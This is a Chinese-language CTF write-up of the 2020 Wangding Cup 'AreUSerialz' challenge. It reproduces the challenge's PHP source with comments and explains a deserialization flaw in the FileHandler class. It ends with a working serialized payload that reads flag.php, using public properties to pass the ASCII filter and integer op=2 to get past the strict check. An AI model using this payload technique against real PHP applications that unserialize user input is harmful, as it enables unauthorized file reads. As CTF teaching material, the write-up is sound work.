[网鼎杯 2020 青龙组]AreUSerialz

本文探讨了一个PHP代码审计案例,涉及文件操作和序列化漏洞的利用。通过构造特定的序列化字符串,绕过限制直接读取flag.php中的内容。分析了is_valid函数的限制以及如何通过改变属性类型来规避检查。同时,展示了如何利用php7.1以上版本的特性进行反序列化攻击,以获取敏感信息。
摘要由CSDN通过智能技术生成

[网鼎杯 2020 青龙组]AreUSerialz

首先代码审计

<?php
//包含了flag.php文件,表明flag存放的位置
include("flag.php");
//显示页面源代码
highlight_file(__FILE__);
//定义FileHandler类
class FileHandler {
//定义三个变量
    protected $op;
    protected $filename;
    protected $content;
//构造函数,创建新的对象时,调用,赋值op为1,filename为/tmp/tmpfile,content为Hello World!,然后执行process函数
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
//进入process函数,判断op值,为1时执行write操作,为2时执行read操作,可以通过设置op值为2,来执行read flag.php的操作
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);//通过调用output函数,输出读取文件的内容
        } else {
            $this->output("Bad Hacker!");
        }
    }
//定义write函数
    private function write() {//首先要设置了filename、content变量
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {//进行长度比较,限制长度小于100
                $this->output("Too long!");
                die();
            }
            //把$this->content的内容写入到$this->filename文件夹中
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");//判断是否写入成功
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
//定义读取函数,读取文件内容
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//将读取到的文件内容赋给$res,可以设置filename为flag.php来读取flag内容
        }
        return $res;
    }
//用于输出消息
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
//定义了析构函数,当对象被销毁时调用,
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}
//判断输入是否合法
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//限制了输入值的ascii码范围
            return false;
    return true;
}
//get传入str,如果输入合法,执行反序列化
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

首先通过str传入序列化后的字符串,经过反序列化函数后会执行__desturct函数判断,判断op值及其函数类型为2时,将op值修改为1,可能因为权限不够等原因写🐎失败,不过可以通过op为2来读取,因为题中include函数告诉我们flag存在flag.php中, 所以我们可以通过反序列化绕过op强判断,直接读取flag.php文件的内容

因为is_valid函数限制输入的str的字符的ASCII码值的范围为32~125,而protected属性会序列化出来不可见字符

而利用php7.1以上的版本对属性类型不敏感,可以将属性改为public,从而绕过is_valid函数的过滤

<?php
    class FileHandler{
    public $op = 2;
    public $filename = 'flag.php';
    public $content = 'Hello YKingH!';
}
$a = new FileHandler();
echo serialize($a);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:13:"Hello YKingH!";} 
    ?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值